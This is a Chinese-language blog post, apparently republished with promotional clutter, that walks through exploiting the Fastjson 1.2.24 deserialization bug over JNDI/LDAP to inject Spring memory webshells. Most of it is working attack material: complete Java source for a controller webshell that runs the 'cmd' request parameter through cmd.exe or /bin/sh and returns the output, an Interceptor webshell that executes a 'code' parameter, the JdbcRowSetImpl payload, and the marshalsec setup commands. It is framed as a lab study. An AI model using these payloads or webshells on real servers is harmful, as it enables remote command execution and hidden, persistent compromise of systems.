狂野!利用Fastjson注入Spring内存马~

点击关注公众号,回复“2T”获取2TB学习资源!

互联网架构师后台回复 2T 有特别礼包

上一篇:阿里排查Java问题工具清单!

此篇文章在于记录自己对spring内存马的实验研究

环境搭建

搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller内存马。

1)组件版本:

fastjson: 1.2.24

spring-mvc: 4.3.28.RELEASE

JDK: 8u121

2)搭建springMVC+fastjson漏洞环境

可以参考网上的入门文章进行搭建,这里我放出我自己环境的配置文件

web.xml

<servlet>
    <servlet-name>SpringMVC</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <!--配置springmvc.xml的路径-->
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:springmvc.xml</param-value>
    </init-param>
  </servlet>
  <servlet-mapping>
    <servlet-name>SpringMVC</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>
</web-app>

springmvc.xml

<!--将AnnotationHandler自动扫描到IOC容器中-->
    <context:component-scan base-package="test.controller"></context:component-scan>


    <mvc:annotation-driven/>


    <!--配置视图解析器-->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <!--配置前缀-->
        <property name="prefix" value="/"></property>
        <!--配置后缀-->
        <property name="suffix" value=".jsp"></property>
    </bean>


</beans>

HelloController

@Controller
public class HelloController {
    @ResponseBody
    @RequestMapping(value = "/hello", method = RequestMethod.POST)
    public Object hello(@RequestParam("code")String code) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.out.println(code);
        Object object = JSON.parse(code);
        return code + "->JSON.parseObject()->" + object;
    }
}

pom.xml

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
</dependency>


<dependency>
  <groupId>junit</groupId>
  <artifactId>junit</artifactId>
  <version>4.11</version>
  <scope>test</scope>
</dependency>
<!--SpringMVC依赖-->
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-webmvc</artifactId>
  <version>4.3.28.RELEASE</version>
</dependency>

动态注册controller

在springMVC中,也可以在服务器程序启动后,利用某种方式实现动态加载controller。搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。

1)获取上下文

在LandGrey文章中介绍了四种方法,分别是

方式一:getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二:WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三:RequestContextUtils

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四:getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

而对于获取上下文来说,推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例

2)注册controller

使用registerMapping方法来动态注册我们的恶意controller

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

除了使用registerMapping方法注册controller外,还有其余的方式可以参考

https://landgrey.me/blog/12/

内存马

以下是大佬的内存马,接下来进行一个改动,使之能进行回显

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;


public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);


        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
    // controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

修改回显

把test代码中的内容替换为以下

// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();


//exec
try {
    String arg0 = request.getParameter("cmd");
    PrintWriter writer = response.getWriter();
    if (arg0 != null) {
        String o = "";
        java.lang.ProcessBuilder p;
        if(System.getProperty("os.name").toLowerCase().contains("win")){
            p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
        }else{
            p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
        }
        java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
        o = c.hasNext() ? c.next(): o;
        c.close();
        writer.write(o);
        writer.flush();
        writer.close();
    }else{
        //当请求没有携带指定的参数(code)时,返回 404 错误
        response.sendError(404);
    }
}catch (Exception e){}

最终内存马,搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;


public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
    // controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();


        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}

测试

fastjson<=1.2.24的 payload:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

1)启动本地http服务,绑定端口8888

python3 -m http.server 8888

4bed4b3d8530285ab2d596bc81934c88.png

2)利用marshalsec启动LDAP服务,绑定端口9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

7e2dd919b0a7f5ffa1a24082ce1ab521.png

3)访问存在fastjson反序列化的页面,http://localhost:8080/hello

发送payload:

{"b":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}

807a47228b55cba964ba1110ee73eaa6.png

成功写入内存马

51469470e22c750787cce672f0287e47.png

踩坑

在实验过程中,我发现主要有两个比较难解决的点,导致实验难以继续

1.怎么编译恶意class文件

可以看到,一个恶意类是有大量的依赖,如果直接采用javac编译会报错

-》javac InjectToController.java
InjectToController.java:16: 错误: 编码GBK的不可映射字符
    // 绗竴涓瀯閫犲嚱鏁?
                 ^
InjectToController.java:19: 错误: 编码GBK的不可映射字符
        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
                              ^
InjectToController.java:19: 错误: 编码GBK的不可映射字符
        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
                                                                 ^

这时候可以利用idea自带的编译特性,先运行项目,然后在其项目的target目录中寻找编译后的class文件即可搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。

aa81b187e8fe896cb9f24b86c6963010.png

2.可以弹出计算器,却无法注入内存马

直接进行debug后发现,在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常

974c9e1dd237f2f71cd762c880129dba.png

63cf461fa2589beb01da0bd767f2ac4e.png

原因在于springmvc.xml文件中,没有开启<mvc:annotation-driven/>选项。

<mvc:annotation-driven/> 是为 MVC 提供额外的支持,参考 Spring 的官方文档,<mvc:annotation-driven/> 最主要的作用是注册 HandlerMapping(实现为 DefaultAnnotationHandlerMapping) 和 HandlerAdapter(实现为 AnnotationMethodHandlerAdapter) 两个类型的 Bean,这两个 Bean 为 @Controllers(所有控制器) 提供转发请求的功能。

而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。

后记

Interceptor内存马

其实不光是可以注入controller型的内存马,还可以注入Interceptor内存马

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter {    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {        // 获取context        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 从context中获取AbstractHandlerMapping的实例对象        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");        // 反射获取adaptedInterceptors属性        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        field.setAccessible(true);        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);        // 避免重复添加        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {                System.out.println("已经添加过TestInterceptor实例了");                return;            }        }        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环        adaptedInterceptors.add(aaa);  //  添加全局interceptor    }    private TestInterceptor(String aaa){}    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String code = request.getParameter("code");        // 不干扰正常业务逻辑        if (code != null) {            java.lang.Runtime.getRuntime().exec(code);            return true;        }        else {            return true;        }}}

注册效果:

c68e8f76ec443ae0a3aa3b136f775911.png

参考

https://landgrey.me/blog/12/

https://www.cnblogs.com/bitterz/p/14820898.html

https://www.cnblogs.com/bitterz/p/14859766.html

 
 
感谢您的阅读,也欢迎您发表关于这篇文章的任何建议,关注我,技术不迷茫!小编到你上高速。

    · END ·

最后,关注公众号互联网架构师,在后台回复:2T,可以获取我整理的 Java 系列面试题和答案,非常齐全。

正文结束

推荐阅读 ↓↓↓

1.不认命,从10年流水线工人,到谷歌上班的程序媛,一位湖南妹子的励志故事

2.深圳一普通中学老师工资单曝光,秒杀程序员,网友:敢问是哪个学校毕业的?

3.从零开始搭建创业公司后台技术栈

4.程序员一般可以从什么平台接私活?

5.清华大学:2021 元宇宙研究报告!

6.为什么国内 996 干不过国外的 955呢?

7.这封“领导痛批95后下属”的邮件,句句扎心!

8.15张图看懂瞎忙和高效的区别!

ead8903dbd0b2d4e4b3e15edc99a0203.gif

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值